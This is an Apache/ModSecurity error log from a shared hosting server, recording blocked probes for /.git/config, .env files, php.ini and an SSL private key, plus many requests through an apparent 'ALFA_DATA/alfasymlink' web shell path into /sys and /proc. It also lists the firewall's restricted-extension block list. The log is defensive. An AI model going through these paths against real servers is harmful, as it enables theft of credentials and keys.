[Sun Oct 25 13:56:02.478563 2026] [security2:error] [pid 2873159:tid 2873159] [client 172.70.248.146:10159] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5Csv1CbQghwAu-zzMCFQAAACA"]
[Sun Oct 25 13:56:06.171658 2026] [ssl:error] [pid 2870916:tid 2870916] (70014)End of file found: [client 34.196.237.236:64201] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:56:06.787398 2026] [authz_core:error] [pid 2874494:tid 2874494] [client 195.178.110.105:4928] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 13:56:08.302992 2026] [authz_core:error] [pid 2873136:tid 2873136] [client 195.178.110.105:4936] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 13:56:09.532784 2026] [core:error] [pid 2874705:tid 2874705] (13)Permission denied: [client 185.191.171.5:17472] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/cache_dma
[Sun Oct 25 13:56:10.146402 2026] [ssl:error] [pid 2873042:tid 2873042] (70014)End of file found: [client 52.70.209.13:22579] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:56:14.220899 2026] [core:error] [pid 2874705:tid 2874705] (13)Permission denied: [client 3.94.40.182:14211] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/ata2/host1/target1:0:0/1:0:0:0/rescan
[Sun Oct 25 13:56:14.465879 2026] [authz_core:error] [pid 2873159:tid 2873159] [client 195.178.110.105:4984] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 13:56:15.001015 2026] [authz_core:error] [pid 2873114:tid 2873114] [client 195.178.110.105:5028] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 13:56:15.524819 2026] [authz_core:error] [pid 2870916:tid 2870916] [client 195.178.110.105:41368] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 13:56:16.292984 2026] [authz_core:error] [pid 2867879:tid 2867879] [client 195.178.110.105:41384] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 13:56:28.016463 2026] [security2:error] [pid 2874705:tid 2874705] [client 185.191.171.17:65440] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/d0d26_82f83_8e4f2e65ab81162b59d691aa4ce81c51.key"] [unique_id "at5CzKYYcNPV1bnoekNXxgAAAAQ"]
[Sun Oct 25 13:56:28.016978 2026] [security2:error] [pid 2874705:tid 2874705] [client 185.191.171.17:65440] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/d0d26_82f83_8e4f2e65ab81162b59d691aa4ce81c51.key"] [unique_id "at5CzKYYcNPV1bnoekNXxgAAAAQ"]
[Sun Oct 25 13:56:28.017302 2026] [security2:error] [pid 2874705:tid 2874705] [client 185.191.171.17:65440] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/d0d26_82f83_8e4f2e65ab81162b59d691aa4ce81c51.key"] [unique_id "at5CzKYYcNPV1bnoekNXxgAAAAQ"]
[Sun Oct 25 13:56:30.130028 2026] [ssl:error] [pid 2873159:tid 2873159] (70014)End of file found: [client 44.221.105.234:28359] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:56:38.137059 2026] [ssl:error] [pid 2870916:tid 2870916] (70014)End of file found: [client 52.54.249.218:31452] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:56:42.131774 2026] [ssl:error] [pid 2874494:tid 2874494] (70014)End of file found: [client 100.27.153.9:63482] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:56:57.259817 2026] [core:error] [pid 2867834:tid 2867834] (13)Permission denied: [client 85.208.96.197:37386] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/cpu_partial
[Sun Oct 25 13:56:58.303994 2026] [ssl:error] [pid 2874705:tid 2874705] (70014)End of file found: [client 52.7.13.143:19545] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:57:30.379275 2026] [ssl:error] [pid 2873042:tid 2873042] (70014)End of file found: [client 98.84.60.17:62229] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:57:46.367136 2026] [ssl:error] [pid 2867879:tid 2867879] (70014)End of file found: [client 34.206.249.188:20018] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:57:52.024859 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 85.208.96.210:20190] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/align
[Sun Oct 25 13:57:58.702704 2026] [ssl:error] [pid 2874705:tid 2874705] (70014)End of file found: [client 3.220.148.166:49981] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:58:02.269041 2026] [ssl:error] [pid 2873159:tid 2873159] (70014)End of file found: [client 3.221.244.28:37720] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:58:18.261636 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 54.91.122.193:62687] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:58:23.902846 2026] [core:error] [pid 2874705:tid 2874705] (13)Permission denied: [client 185.191.171.17:42770] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_queue/alloc_calls
[Sun Oct 25 13:58:42.543277 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 50.16.248.61:27436] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:58:46.439724 2026] [ssl:error] [pid 2874705:tid 2874705] (70014)End of file found: [client 100.29.128.75:7536] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:58:50.579499 2026] [ssl:error] [pid 2873159:tid 2873159] (70014)End of file found: [client 50.17.193.48:23800] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:58:54.358163 2026] [ssl:error] [pid 2873042:tid 2873042] (70014)End of file found: [client 54.156.124.2:16948] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:59:06.308940 2026] [ssl:error] [pid 2874494:tid 2874494] (70014)End of file found: [client 3.219.81.66:46616] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:59:10.407145 2026] [ssl:error] [pid 2867879:tid 2867879] (70014)End of file found: [client 52.204.253.129:42811] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:59:18.327907 2026] [ssl:error] [pid 2874705:tid 2874705] (70014)End of file found: [client 98.83.10.183:32282] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:59:22.924773 2026] [core:error] [pid 2867834:tid 2867834] (13)Permission denied: [client 85.208.96.206:24938] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/ctor
[Sun Oct 25 13:59:30.368973 2026] [ssl:error] [pid 2873114:tid 2873114] (70014)End of file found: [client 100.24.167.60:4212] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:59:34.381319 2026] [ssl:error] [pid 2870916:tid 2870916] (70014)End of file found: [client 3.226.106.93:36441] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:59:38.593787 2026] [ssl:error] [pid 2874494:tid 2874494] (70014)End of file found: [client 3.219.81.66:28666] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:59:43.846623 2026] [ssl:error] [pid 2873136:tid 2873136] (70014)End of file found: [client 54.197.178.107:9508] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:59:47.255721 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 3.223.181.32:6415] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:59:50.427416 2026] [ssl:error] [pid 2874705:tid 2874705] (70014)End of file found: [client 50.16.216.166:63872] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:59:58.416287 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 44.215.231.15:35204] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:00:02.544715 2026] [core:error] [pid 2870916:tid 2870916] (13)Permission denied: [client 3.214.176.44:61029] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/LNXCPU:01/physical_node/driver/unbind
[Sun Oct 25 14:00:14.924289 2026] [ssl:error] [pid 2874705:tid 2874705] (70014)End of file found: [client 54.235.191.179:43702] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:00:20.179960 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 23.23.214.190:40149] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:00:26.417484 2026] [security2:error] [pid 2870916:tid 2870916] [client 3.231.193.38:35588] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/QEMU0002:00/wakeup/"] [unique_id "at5DuvwFw76qlSfceadvUQAAAAA"]
[Sun Oct 25 14:00:26.417539 2026] [security2:error] [pid 2870916:tid 2870916] [client 3.231.193.38:35588] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/QEMU0002:00/wakeup/"] [unique_id "at5DuvwFw76qlSfceadvUQAAAAA"]
[Sun Oct 25 14:00:35.836282 2026] [authz_core:error] [pid 2862773:tid 2862773] [client 76.135.135.39:54309] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 14:00:35.901100 2026] [ssl:error] [pid 2874705:tid 2874705] (70014)End of file found: [client 85.208.96.199:39754] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:00:37.147088 2026] [core:error] [pid 2873159:tid 2873159] (13)Permission denied: [client 185.191.171.19:50752] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/poison
[Sun Oct 25 14:00:42.488721 2026] [ssl:error] [pid 2873114:tid 2873114] (70014)End of file found: [client 34.239.197.197:31037] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:00:58.421314 2026] [ssl:error] [pid 2874705:tid 2874705] (70014)End of file found: [client 52.45.77.169:15903] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:01:02.569960 2026] [ssl:error] [pid 2873159:tid 2873159] (70014)End of file found: [client 100.29.160.53:6176] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:01:06.669507 2026] [ssl:error] [pid 2873136:tid 2873136] (70014)End of file found: [client 50.19.79.213:3262] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:01:10.262595 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 185.191.171.12:24850] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-8/trace
[Sun Oct 25 14:01:13.624941 2026] [core:error] [pid 2873042:tid 2873042] (13)Permission denied: [client 185.191.171.17:18032] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/xfrm_state/trace
[Sun Oct 25 14:01:23.478640 2026] [core:error] [pid 2874705:tid 2874705] (13)Permission denied: [client 185.191.171.17:22044] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_tasks/free_calls
[Sun Oct 25 14:01:26.480084 2026] [ssl:error] [pid 2873136:tid 2873136] (70014)End of file found: [client 52.6.97.88:4552] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:01:30.694750 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 3.229.164.203:19618] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:01:34.637696 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 34.194.226.74:13889] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:01:39.956382 2026] [authz_core:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 14:01:40.356121 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at5EBPwFw76qlSfceadvWQAAAAA"]
[Sun Oct 25 14:01:40.356500 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at5EBPwFw76qlSfceadvWQAAAAA"]
[Sun Oct 25 14:01:40.356755 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at5EBPwFw76qlSfceadvWQAAAAA"]
[Sun Oct 25 14:01:40.389864 2026] [authz_core:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 14:01:40.393718 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at5EBPwFw76qlSfceadvWgAAAAA"]
[Sun Oct 25 14:01:40.394099 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at5EBPwFw76qlSfceadvWgAAAAA"]
[Sun Oct 25 14:01:40.394372 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at5EBPwFw76qlSfceadvWgAAAAA"]
[Sun Oct 25 14:01:40.476740 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at5EBFY5e6yJWIYGXiqDyAAAAAk"]
[Sun Oct 25 14:01:40.477008 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at5EBFY5e6yJWIYGXiqDyAAAAAk"]
[Sun Oct 25 14:01:40.477278 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at5EBFY5e6yJWIYGXiqDyAAAAAk"]
[Sun Oct 25 14:01:40.534152 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5EBFY5e6yJWIYGXiqDyQAAAAk"]
[Sun Oct 25 14:01:40.534325 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5EBFY5e6yJWIYGXiqDyQAAAAk"]
[Sun Oct 25 14:01:40.534570 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5EBFY5e6yJWIYGXiqDyQAAAAk"]
[Sun Oct 25 14:01:40.537776 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.supabase"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at5EBP1CbQghwAu-zzMCJQAAACA"]
[Sun Oct 25 14:01:40.537948 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at5EBP1CbQghwAu-zzMCJQAAACA"]
[Sun Oct 25 14:01:40.538161 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at5EBP1CbQghwAu-zzMCJQAAACA"]
[Sun Oct 25 14:01:40.539169 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBCjnAS4eJh-ada2M_wAAAA0"]
[Sun Oct 25 14:01:40.539364 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBCjnAS4eJh-ada2M_wAAAA0"]
[Sun Oct 25 14:01:40.539602 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBCjnAS4eJh-ada2M_wAAAA0"]
